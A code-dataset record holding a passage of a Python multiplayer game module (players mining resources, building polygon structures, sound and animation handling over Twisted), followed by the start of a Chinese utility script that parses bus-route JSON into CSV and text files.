self.images[\"mining\"].copy()\n# self.miningAnimation.start()\n #self.events.add(self.miningAnimation)\n #self.miningAnimation.draw(view.screen, position)\n\n\n for o in self.observers: o.callRemote('setAction', remote)\n\n def observe_setAction(self, action):\n # TODO Tooltips no longer used?\n self.tooltip = None\n self.actionName = action\n\n\n def _gainResource(self, playSound = True):\n playResourceFullOk = False\n actuallyGainResource = False\n\n if self.sides < 3:\n self.sides += 1\n if playSound:\n pygame.mixer.Channel(6).play(getSound(\"player upgrade\"))\n animation = self.images[\"player upgraded\"].copy()\n animation.start(12).addCallback(lambda ign: self.events.remove(animation))\n self.events.add(animation)\n #TODO should probably play some kind of sound here\n elif self.resources < self.sides:\n\n #self.resources += 1\n self.setResources(self.resources + 1)\n\n actuallyGainResource = True\n\n #animation = self.images[\"Generic_2\"].copy()\n #animation.start(12).addCallback(lambda ign: self.events.remove(animation))\n #self.events.add(animation)\n\n playResourceFullOk = True\n\n if (playSound):\n if actuallyGainResource:\n #pygame.mixer.Channel(6).play(pygame.mixer.Sound(\"data/sfx/alex_sfx/gain resource.wav\"))\n pygame.mixer.Channel(6).play(getSound(\"gain poly armor\"))\n\n #It's possible if the sound changes, that restarting the mining sound will sound good\n #pygame.mixer.Channel(7).play(pygame.mixer.Sound(\"data/sfx/alex_sfx/In Resource Pool(loop).wav\"))\n pygame.mixer.Channel(7).play(getSound(\"mining\"))\n\n if self.resources == self.sides:\n pygame.mixer.Channel(7).stop()\n if (playResourceFullOk):\n self.stopBuildingChannelOk = False\n pygame.mixer.Channel(5).play(getSound(\"poly armor full\"))\n\n def gainResource(self):\n self._gainResource(playSound = False)\n\n for o in self.observers: o.callRemote('gainResource')\n\n observe_gainResource = _gainResource\n\n def switchTeams(self):\n self.observe_switchTeams()\n for o in self.observers: o.callRemote('switchTeams')\n\n def observe_switchTeams(self):\n #print \"team: \" + str(self.team)\n if self.team == 1:\n self.team = 2\n else:\n self.team = 1\n\n def setResources(self, newAmount):\n self.resources = newAmount\n self.armor.clear()\n\n for i in range(1, newAmount + 1):\n self.armor[i] = self.images[\"Armor\", self.sides, i]\n\n def _loseResource(self, playSound = True):\n if self.resources:\n if self.building:\n infiniteResources = False\n if not infiniteResources:\n self.setResources(self.resources - 1)\n\n if playSound:\n #TODO building complete sounds should be played here\n if not self.building:\n pygame.mixer.Channel(7).stop()\n else:\n pygame.mixer.Channel(6).play(getSound(\"lose poly armor\"))\n #print \"the building : \" + str(self.building.sides) + \"-sided, resources =\" + str(self.building.resources) + \"\\n\"\n if self.building.resources == 0:#self.building.nResourcesToUpgrade() == 1:#self.building.sides == self.building.resources and self.building.sides >= 3:\n pygame.mixer.Channel(7).stop()\n self.playingBuildingCompleteSound = True\n pygame.mixer.Channel(5).play(getSound(\"finish building\", self.building.sides), 0)\n #TODO should reset the building sound too\n\n elif self.resources == 0:\n pygame.mixer.Channel(5).play(getSound(\"poly armor depleted\"),0)\n\n\n def startAcceptUpgrade(self):\n self.observe_startAcceptUpgrade(playSound = False)\n for o in self.observers: o.callRemote('startAcceptUpgrade')\n\n def observe_startAcceptUpgrade(self, playSound = True):\n if playSound:\n pygame.mixer.Channel(5).play(getSound(\"accept upgrade\"))\n\n def loseResource(self):\n self._loseResource(playSound = False)\n for o in self.observers: o.callRemote('loseResource')\n observe_loseResource = _loseResource\n\n def _attack(self, playSound=True):\n self.attacking = True\n animation = self.images[\"Attack\"].copy()\n if playSound:\n pygame.mixer.Channel(5).play(getSound(\"attack\"))\n animation.start(6).addCallback(lambda ign: self.events.remove(animation))\n self.events.add(animation)\n\n def attack(self):\n self._attack(playSound=False)\n for o in self.observers: o.callRemote('attack')\n\n observe_attack = _attack\n\n def _updatePosition(self, position, building, playSound=True):\n self.position = position\n # TODO only need this for self.self\n def buildingReset():\n self.building = None\n self._buildingReset = None\n# if hasattr(self.building, 'sides'):# and self.building.sides == 0:# and self.building.resources == 0:\n# print \"aborted\"\n# self.building.onDestroyed.callback(self.building)\n\n if playSound:\n if self.scanning.isScanning():\n self.scanFadeOutOk = True\n if not pygame.mixer.Channel(5).get_busy():\n pygame.mixer.Channel(5).play(getSound(\"scanning\"),-1)\n #else:\n # pygame.mixer.Channel(5).queue(pygame.mixer.Sound(\"data/sfx/alex_sfx/Sweeping.wav\"))\n else:\n if self.scanFadeOutOk:\n #pygame.mixer.Channel(5).play(pygame.mixer.Sound(\"data/sfx/alex_sfx/Sweeping.wav\"), -1)\n pygame.mixer.Channel(5).fadeout(4000)\n self.scanFadeOutOk = False\n\n if building:\n self.building = building\n if self._buildingReset and hasattr(self._buildingReset, \"cancel\"):\n self._buildingReset.cancel()\n self._buildingReset = reactor.callLater(1, buildingReset)\n\n if (playSound):\n #print('sides : ' + str(hasattr(self.building, 'sides')))\n #print('action: ' + str(self.actionName == 'Building'))\n if (hasattr(self.building, 'sides') and self.actionName == 'Building'):# and self.resources:\n\n if self.resources == 0:\n #if not self.playingBuildingCompleteSound or not pygame.mixer.Channel(7).get_busy():\n #if (not self.playingBuildingCompleteSound or not pygame.mixer.Channel(5).get_busy()):\n pygame.mixer.Channel(7).stop()\n # self.playingBuildingCompleteSound = False\n\n else:\n buildingSideCount = self.building.sides\n if buildingSideCount < 3:\n buildingSideCount = 3\n else:\n buildingSideCount = min(buildingSideCount + 1, 5)\n\n if (not self.playingBuildingCompleteSound or not pygame.mixer.Channel(5).get_busy()):\n self.playingBuildingCompleteSound = False\n if not pygame.mixer.Channel(7).get_busy():\n pygame.mixer.Channel(7).play(getSound(\"building\", buildingSideCount))\n else:\n pygame.mixer.Channel(7).queue(getSound(\"building\", buildingSideCount))\n\n elif self.actionName == 'Mining':\n if self.resources < self.sides or self.sides == 0:\n if not pygame.mixer.Channel(7).get_busy():\n pygame.mixer.Channel(7).play(getSound(\"mining\"))\n else:\n pygame.mixer.Channel(7).queue(getSound(\"mining\"))\n else:\n pygame.mixer.Channel(7).stop()\n\n def updatePosition(self, position, building):\n self._updatePosition(position, building, playSound=False)\n for o in self.observers: o.callRemote('updatePosition', position, building)\n\n observe_updatePosition = _updatePosition\n\n def _hit(self):\n if self.resources:\n self.setResources(self.resources - 1)\n else:\n animation = self.images[\"LevelUp\"].copy()\n animation.startReversed(72).addCallback(lambda ign: self.topEvents.remove(animation))\n self.topEvents.add(animation)\n self.sides -= 1\n\n def hit(self):\n self._hit()\n for o in self.observers: o.callRemote('hit')\n observe_hit = _hit\n\n def _levelUp(self):\n self.armor.clear()\n self.setResources(0)\n self.sides += 1\n\n #animation = self.images[\"building upgraded\"].copy()\n #animation.start(12).addCallback(lambda ign: self.topEvents.remove(animation))\n #self.topEvents.add(animation)\n def levelUp(self):\n self._levelUp()\n for o in self.observers: o.callRemote('levelUp')\n observe_levelUp = _levelUp\n\n def paint(self, view, position, isTeammate, isVisible):\n # TODO player image deviates from center of screen occasionally\n # likely caused by view.center being updated but not player.position\n # which must wait for the server to update its\n if self.self:\n (cx, cy) = view.screen.get_rect().center\n position = Vector2D(cx,cy) #Vector2D(240, 400)\n # TODO HACK save the view to get images\n self.images = view.images.images\n\n if isVisible and self.scanning:\n view.images.images[\"PlayerScan\"].drawScaled(view.screen, position, self.getScanRadius())\n\n for image in self.events:\n image.draw(view.screen, position)\n\n if isVisible:\n# if self.miningAnimation == None:\n# self.miningAnimation = self.images[\"mining\"].copy()\n# self.miningAnimation.start(12)\n# self.miningAnimation.draw(view.screen, position)\n\n image = view.images.images[\"Player\", self.team, self.sides]\n image.draw(view.screen, position)\n for image in self.topEvents:\n image.draw(view.screen, position)\n if self.tooltip:\n self.tooltip.draw(view.screen, position + Vector2D(0, -100))\n else:\n image = view.images.images[\"Enemy\", self.team]\n #image.start(12)\n image.draw(view.screen, position)\n return\n\n for a in self.armor:\n # XXX Must start all clients at the same time or armor is Unpersistable\n self.armor[a].draw(view.screen, position)\n\n def getStateToCacheAndObserveFor(self, perspective, observer):\n self.observers.append(observer)\n state = pb.Cacheable.getStateToCopyFor(self, perspective).copy()\n del state['observers']\n if self == perspective.player:\n state['self'] = True\n return state\n\n def setCopyableState(self, state):\n pb.RemoteCache.setCopyableState(self, state)\n self.scanning = PlayerScan()\n\n def stoppedObserving(self, perspective, observer):\n self.observers.remove(observer)\n\npb.setUnjellyableForClass(Player, Player)\n\nclass Building(pb.Cacheable, pb.RemoteCache):\n def __init__(self):\n self.sides = 0\n self.resources = 0\n self.observers = []\n self.size = 1\n self.onDestroyed = defer.Deferred()\n self.upgrading = None\n self.explosion = None\n self.upgradeAnim = None\n\n def build(self, player):\n if not player.resources:\n return\n if self.sides == 5 and self.resources == 5:\n if self.upgrading and self.upgrading.sides > 2:\n player.loseResource()\n if self.upgrading.sides == self.upgrading.resources:\n self.upgrading.levelUp()\n else:\n self.upgrading.gainResource()\n else:\n self.gainResource()\n player.loseResource() #have player lose resource after, so they can see if a new building got made.\n for o in player.observers: o.callRemote('setAction', \"Building\")\n\n def _gainResource(self, playSound=True):\n # Not a full polyfactory\n # if rubble\n buildingLeveledUp = False\n if not self.sides:\n if self.resources == 2:\n self.sides = 3\n self.resources = 0\n buildingLeveledUp = True\n else:\n self.resources += 1\n else:\n # if armor is full\n if self.sides == self.resources:\n self.sides += 1\n self.resources = 0\n buildingLeveledUp = True\n else:\n self.resources += 1\n\n if buildingLeveledUp:\n self.upgradeAnim = self.images[\"building upgraded\"].copy()\n self.upgradeAnim.start(12).addCallback(lambda ign: self.clearUpgradeAnim())\n\n def clearUpgradeAnim(self):\n self.upgradeAnim = None\n\n def gainResource(self):\n self._gainResource(playSound=False)\n for o in self.observers: o.callRemote('gainResource')\n\n observe_gainResource = _gainResource\n\n def observe_setResources(self, r):\n self.resources = r\n\n def drawToolTip(self, view, tip, team = None):\n # TODO No more tool tips?\n pass\n\n def paint(self, view, position, isTeammate):\n if self.explosion:\n self.explosion.draw(view.screen, position)\n return\n\n if self.sides == 0 and self.resources == 0:\n return\n\n if self.sides >= 3:\n view.images.images[\"Building Zone\", self.sides, self.team].draw(view.screen, position)\n\n if self.upgradeAnim:\n self.upgradeAnim.draw(view.screen, position)\n\n if self.sides:\n view.images.images[\"Building\", self.sides, self.team].draw(view.screen, position)\n view.images.images[\"BuildingHealth\", self.team, self.sides, self.resources].draw(view.screen, position)\n else:\n image = view.images.images[\"Building\", self.resources, self.team].draw(view.screen, position)\n\n def getStateToCacheAndObserveFor(self, perspective, observer):\n self.observers.append(observer)\n state = pb.Cacheable.getStateToCopyFor(self, perspective).copy()\n del state['observers']\n return state\n\n def stoppedObserving(self, perspective, observer):\n self.observers.remove(observer)\n\n def hit(self):\n if not (self.sides and self.resources):\n self.onDestroyed.callback(self)\n elif self.resources:\n self.resources -= 1\n for o in self.observers: o.callRemote('setResources', self.resources)\n\n def _explode(self):\n #TODO a delay to the explosion would be nice.\n self.explosion = self.images[\"TrapExplosion\"].copy()\n return self.explosion.start(4)\n\n def explode(self):\n self._explode().addCallback(lambda ign: self.onDestroyed.callback(self))\n for o in self.observers: o.callRemote('explode')\n observe_explode = _explode\n\n def isTrap(self):\n if self.sides == 3 and not self.explosion:\n return True\n return False\n\n def isSentry(self):\n return self.sides == 4\n\n def isPolyFactory(self):\n return self.sides == 5\n\npb.setUnjellyableForClass(Building, Building)\n\nclass ResourcePool(pb.Copyable, pb.RemoteCopy):\n def __init__(self, size):\n self.size = 3\n\n def build(self, player):\n player.gainResource()\n for o in player.observers: o.callRemote('setAction', \"Mining\")\n\n def addBuilder(self, player):\n pass\n\n def removeBuilder(self, player):\n pass\n\n def drawToolTip(self, view, tip, team):\n # TODO No more tool tips?\n pass\n\n def paint(self, view, position):\n view.images.images[\"resource_pool_zone\"].draw(view.screen, position)\n view.images.images[\"resource_pool\"].draw(view.screen, position)\n\npb.setUnjellyableForClass(ResourcePool, ResourcePool)\n", "sub_path": "game/player.py", "file_name": "player.py", "file_ext": "py", "file_size_in_byte": 23190, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pygame.mixer.mixer.Sound", "line_number": 13, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 13, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 13, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 14, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 14, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 14, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 16, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 16, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 17, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 17, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 18, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 18, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 20, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 20, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 22, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 22, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 22, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 23, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 24, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 26, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 26, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 28, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 28, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 28, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 29, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 29, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 29, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 30, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 30, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 30, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 32, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 32, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 32, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 33, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 33, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 34, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 34, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 34, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Sound", "line_number": 36, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 36, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 36, "usage_type": "name"}, {"api_name": "pygame.mixer.time.get_ticks", "line_number": 58, "usage_type": "call"}, {"api_name": "pygame.mixer.time", "line_number": 58, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 58, "usage_type": "name"}, {"api_name": "pygame.mixer.time.get_ticks", "line_number": 64, "usage_type": "call"}, {"api_name": "pygame.mixer.time", "line_number": 64, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 64, "usage_type": "name"}, {"api_name": "twisted.internet.reactor.callLater", "line_number": 65, "usage_type": "call"}, {"api_name": "twisted.internet.reactor", "line_number": 65, "usage_type": "name"}, {"api_name": "pygame.mixer.time.get_ticks", "line_number": 70, "usage_type": "call"}, {"api_name": "pygame.mixer.time", "line_number": 70, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 70, "usage_type": "name"}, {"api_name": "twisted.spread.pb.Cacheable", "line_number": 88, "usage_type": "attribute"}, {"api_name": "twisted.spread.pb", "line_number": 88, "usage_type": "name"}, {"api_name": "twisted.spread.pb.RemoteCache", "line_number": 88, "usage_type": "attribute"}, {"api_name": "vector.Vector2D", "line_number": 92, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 187, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 187, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 187, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 188, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 188, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 188, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 199, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 199, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 199, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 223, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 223, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 223, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 244, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 244, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 244, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 248, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 248, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 248, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 251, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 251, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 251, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 254, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 254, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 254, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 291, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 291, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 291, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 293, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 293, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 293, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 296, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 296, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 296, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 298, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 298, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 298, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 302, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 302, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 302, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 311, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 311, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 311, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 322, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 322, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 322, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 345, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 345, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 345, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 346, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 346, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 346, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 352, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 352, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 352, "usage_type": "name"}, {"api_name": "twisted.internet.reactor.callLater", "line_number": 359, "usage_type": "call"}, {"api_name": "twisted.internet.reactor", "line_number": 359, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 369, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 369, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 369, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 379, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 379, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 379, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 381, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 381, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 381, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 382, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 382, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 382, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 384, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 384, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 384, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 388, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 388, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 388, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 389, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 389, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 389, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 391, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 391, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 391, "usage_type": "name"}, {"api_name": "pygame.mixer.mixer.Channel", "line_number": 393, "usage_type": "call"}, {"api_name": "pygame.mixer.mixer", "line_number": 393, "usage_type": "attribute"}, {"api_name": "pygame.mixer", "line_number": 393, "usage_type": "name"}, {"api_name": "vector.Vector2D", "line_number": 434, "usage_type": "call"}, {"api_name": "vector.Vector2D", "line_number": 455, "usage_type": "call"}, {"api_name": "twisted.spread.pb.Cacheable.getStateToCopyFor", "line_number": 468, "usage_type": "call"}, {"api_name": "twisted.spread.pb.Cacheable", "line_number": 468, "usage_type": "attribute"}, {"api_name": "twisted.spread.pb", "line_number": 468, "usage_type": "name"}, {"api_name": "twisted.spread.pb.RemoteCache.setCopyableState", "line_number": 475, "usage_type": "call"}, {"api_name": "twisted.spread.pb.RemoteCache", "line_number": 475, "usage_type": "attribute"}, {"api_name": "twisted.spread.pb", "line_number": 475, "usage_type": "name"}, {"api_name": "twisted.spread.pb.setUnjellyableForClass", "line_number": 481, "usage_type": "call"}, {"api_name": "twisted.spread.pb", "line_number": 481, "usage_type": "name"}, {"api_name": "twisted.spread.pb.Cacheable", "line_number": 483, "usage_type": "attribute"}, {"api_name": "twisted.spread.pb", "line_number": 483, "usage_type": "name"}, {"api_name": "twisted.spread.pb.RemoteCache", "line_number": 483, "usage_type": "attribute"}, {"api_name": "twisted.internet.defer.Deferred", "line_number": 489, "usage_type": "call"}, {"api_name": "twisted.internet.defer", "line_number": 489, "usage_type": "name"}, {"api_name": "twisted.spread.pb.Cacheable.getStateToCopyFor", "line_number": 571, "usage_type": "call"}, {"api_name": "twisted.spread.pb.Cacheable", "line_number": 571, "usage_type": "attribute"}, {"api_name": "twisted.spread.pb", "line_number": 571, "usage_type": "name"}, {"api_name": "twisted.spread.pb.setUnjellyableForClass", "line_number": 606, "usage_type": "call"}, {"api_name": "twisted.spread.pb", "line_number": 606, "usage_type": "name"}, {"api_name": "twisted.spread.pb.Copyable", "line_number": 608, "usage_type": "attribute"}, {"api_name": "twisted.spread.pb", "line_number": 608, "usage_type": "name"}, {"api_name": "twisted.spread.pb.RemoteCopy", "line_number": 608, "usage_type": "attribute"}, {"api_name": "twisted.spread.pb.setUnjellyableForClass", "line_number": 630, "usage_type": "call"}, {"api_name": "twisted.spread.pb", "line_number": 630, "usage_type": "name"}]} {"seq_id": "226019664", "text": "import re\nimport json\nimport os\nimport csv\nimport pandas\n\n\ndef get_files_in_dir(basepath, ext=[], debug=False):\n basepath = os.path.abspath(basepath)\n\n ext = [str.lower(x) for x in ext]\n\n try:\n if os.path.exists(basepath) and os.path.isdir(basepath):\n result = [os.path.join(basepath, x) for x in os.listdir(basepath)]\n files = [[os.path.split(x)[0], *os.path.splitext(os.path.basename(x))] for x in result if os.path.isfile(x)]\n if len(ext) == 0:\n # print('无类型筛选,返回所有文件')\n if debug: print(files)\n return files\n\n if len(ext) > 0:\n # print('返回{}类型的文件'.format(ext))\n files = [[os.path.split(x)[0], *os.path.splitext(os.path.basename(x))] for x in result if\n str.lower(re.split(r'\\.', x)[-1]) in ext]\n if debug: print(files)\n return files\n else:\n return False\n except Exception as e:\n print('发生错误{}'.format(e))\n\n\ndef read_file(filepath, codec='utf-8'):\n with open(filepath, 'r', encoding='utf-8') as f:\n s = f.read()\n return s\n\n\ndef write_to_json(filepath, json_str):\n with open(filepath, 'w') as json_file:\n json.dump(json_str, json_file, indent=4)\n\n\ndef write_csv(filepath, line: list,keys:list):\n if os.path.exists(filepath):\n with open(filepath, 'a', newline='', encoding='utf-8-sig') as csv_file:\n data = csv.writer(csv_file, delimiter=',')\n data.writerow(line)\n else:\n with open(filepath, 'w', newline='', encoding='utf-8-sig') as csv_file:\n data = csv.writer(csv_file, delimiter=',')\n data.writerow(keys)\n data.writerow(line)\n\n\ndef save_json(filepath, data):\n with open(filepath, 'w', encoding='utf-8') as f:\n f.write(json.dumps(data, indent=4, ensure_ascii=False))\n\n\ndef read_txt(filepath):\n with open(filepath, 'r', encoding='utf-8-') as f:\n return f.readlines()\n\n\ndef write_txt(filepath, txt):\n with open(filepath, 'a', encoding='utf-8') as f:\n f.write(txt)\n\n\ndef load_json(filepath):\n with open(filepath, 'r', encoding='utf-8') as f:\n return json.load(f)\n\n\ndef clean_char_in_filename(s):\n return re.sub('[?、_()\\\\\\/*、<>|]', '-', s)\n\ndef parse(filepath,no):\n\n data=load_json(filepath)\n\n keys=['name', 'id', 'type','citycode', 'start_stop', 'end_stop', 'start_time', 'end_time' , 'status', 'direc', 'company', 'distance', 'basic_price', 'total_price', 'busstops']\n\n bus_stops=[]\n\n bus_type=data['type']\n print(bus_type)\n\n filename=None\n if data['name'][0] in ['K','k'] and filename==None:\n filename = 'K'\n elif bus_type == [] and filename == None:\n filename='普通公交'\n elif '地铁' in bus_type and filename == None:\n filename='地铁'\n elif '有轨电车' in bus_type and filename == None:\n filename='有轨电车'\n else:\n filename='普通公交'\n\n bus_type=str(bus_type)\n\n businfo=[]\n for key in keys[:-1]:\n value=data[key]\n if not value:\n value=''\n if key=='type':\n value=bus_type\n businfo.append(value)\n\n count=0\n busstops=[]\n for index in range(0,len(data['busstops'])):\n busstop=data['busstops'][index]\n id=busstop['id']\n location=busstop['location']\n name=busstop['name']\n if index==0:\n distance=0\n duration=0\n p2p_distance=0\n else:\n search_id=str(data['busstops'][index-1]['id']),data['busstops'][index-1]['name'],str(id),name\n\n if search_id in distances.keys():\n distance,duration,p2p_distance=distances[search_id]\n else:\n print([str(data['busstops'][index - 1]['id']), data['busstops'][index - 1]['location'],\n data['busstops'][index - 1]['name'], str(id), location, name])\n\n write_csv('站与站含距离.csv',[str(data['busstops'][index-1]['id']),data['busstops'][index-1]['location'],data['busstops'][index-1]['name'],str(id),location,name],[])\n\n distance,duration,p2p_distance='无数据','无数据','无数据'\n\n\n\n if id in no:\n write_txt('删除的部分车站.txt',data['name']+'--'+str(index)+'--'+name+'\\n')\n # print(filepath,index,name)\n count+=1\n continue\n\n # record.append(name+f'({location})'+f'({distance } M)'+f'({duration} S)'+f'({p2p_distance} M)')\n # record.append(name + f'\\n({location})' + f'\\n({distance} M)' + f'\\n({duration} S)' + f'\\n({p2p_distance} M)')\n busstops.append([name ,f'({location})' , f'({distance} M)' , f'({duration} S)' , f'({p2p_distance} M)'])\n # bus_stops.append([str(id),str(location),str(name)])\n\n\n # if count==len(data['busstops']):\n # print(f'丢弃{filepath}')\n # write_txt('不符合条件的路线.txt',filepath+'\\n')\n # return False\n\n # bus_stop_to_stop=[]\n\n # for index in range(1,len(data['busstops'])):\n # 